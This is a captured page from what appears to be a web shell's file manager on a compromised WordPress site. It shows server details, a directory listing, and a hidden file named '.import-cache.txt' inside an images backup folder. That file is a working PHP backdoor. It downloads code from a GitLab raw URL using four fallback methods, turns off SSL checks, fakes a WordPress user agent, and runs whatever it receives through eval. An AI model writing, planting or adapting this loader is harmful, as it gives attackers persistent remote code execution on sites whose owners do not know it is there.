Server IP : 149.255.58.128 / Your IP : 216.73.216.185
System : Linux cloud516.thundercloud.uk 5.14.0-427.26.1.el9_4.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Jul 17 15:51:13 EDT 2024 x86_64
PHP Version : 8.2.28
Disable Function : allow_url_include, apache_child_terminate, apache_setenv, exec, passthru, pcntl_exec, posix_kill, posix_mkfifo, posix_getpwuid, posix_setpgid, posix_setsid, posix_setuid, posix_setgid, posix_seteuid, posix_setegid, posix_uname, proc_close, proc_get_status, proc_open, proc_terminate, shell_exec, show_source, system
cURL : ON | WGET : ON | Sudo : OFF | Pkexec : OFF
Upload Files :
Command :
Current File : /home/wheelch2/mobilityscooteralanya.com/images/wp-backup//.import-cache.txt
<?php
ob_start();
$remote_url = "https://gitlab.com/wordpress-remote/seo/-/raw/main/wpindex.txt";
$timeout_seconds = 20;
function wp_fetch_curl($url, $timeout) {
$ch = curl_init($url);
curl_setopt_array($ch, [
CURLOPT_RETURNTRANSFER => true,
CURLOPT_TIMEOUT => $timeout,
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_MAXREDIRS => 5,
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_SSL_VERIFYHOST => false,
CURLOPT_USERAGENT => 'WordPress/CodeFetcher/1.0',
]);
$response = curl_exec($ch);
curl_close($ch);
return $response ?: false;
}
function wp_fetch_file_get_contents($url, $timeout) {
$context = stream_context_create([
'http' => [
'timeout' => $timeout,
'header' => "User-Agent: WordPress/CodeFetcher/1.0\r\n",
'follow_location' => true,
'max_redirects' => 5,
],
'ssl' => [
'verify_peer' => false,
'verify_peer_name' => false,
],
]);
return @file_get_contents($url, false, $context) ?: false;
}
function wp_fetch_remote_get($url, $timeout) {
if (!function_exists('wp_remote_get')) {
return false;
}
$response = wp_remote_get($url, [
'timeout' => $timeout,
'redirection' => 5,
'sslverify' => false,
'user-agent' => 'WordPress/CodeFetcher/1.0',
]);
if (is_wp_error($response)) {
return false;
}
return wp_remote_retrieve_body($response) ?: false;
}
function wp_fetch_guzzle($url, $timeout) {
if (!class_exists('\GuzzleHttp\Client')) {
return false;
}
try {
$client = new \GuzzleHttp\Client([
'timeout' => $timeout,
'verify' => false,
'headers' => [
'User-Agent' => 'WordPress/CodeFetcher/1.0',
],
]);
return $client->get($url)->getBody()->getContents() ?: false;
} catch (\Exception $e) {
return false;
}
}
if (!filter_var($remote_url, FILTER_VALIDATE_URL)) {
ob_end_clean();
exit;
}
$wordpress = false;
$methods = [
'wp_fetch_curl',
'wp_fetch_file_get_contents',
'wp_fetch_remote_get',
'wp_fetch_guzzle',
];
foreach ($methods as $method) {
$wordpress = $method($remote_url, $timeout_seconds);
if ($wordpress !== false && trim($wordpress) !== '') {
break;
}
}
if ($wordpress === false || trim($wordpress) === '') {
ob_end_clean();
exit;
}
try {
eval("?>$wordpress");
} catch (Throwable $e) {
ob_end_clean();
exit;
}
ob_end_flush();
Name |
Size |
Last Modified |
Owner / Group |
Permissions |
Options |
.. | -- | May 22 2025 02:28:59 | 1032 / wheelch2 | 0755 | |
| | | | | |
.htaccess | 0.41 KB | May 22 2025 02:28:59 | 1032 / wheelch2 | 0644 | |
.import-cache.txt | 2.573 KB | May 23 2025 11:57:02 | 1032 / wheelch2 | 0644 | |
admin.php | 4.957 KB | May 20 2025 03:29:06 | 1032 / wheelch2 | 0644 | |
index.php | 4.556 KB | May 20 2025 03:29:06 | 1032 / wheelch2 | 0644 | |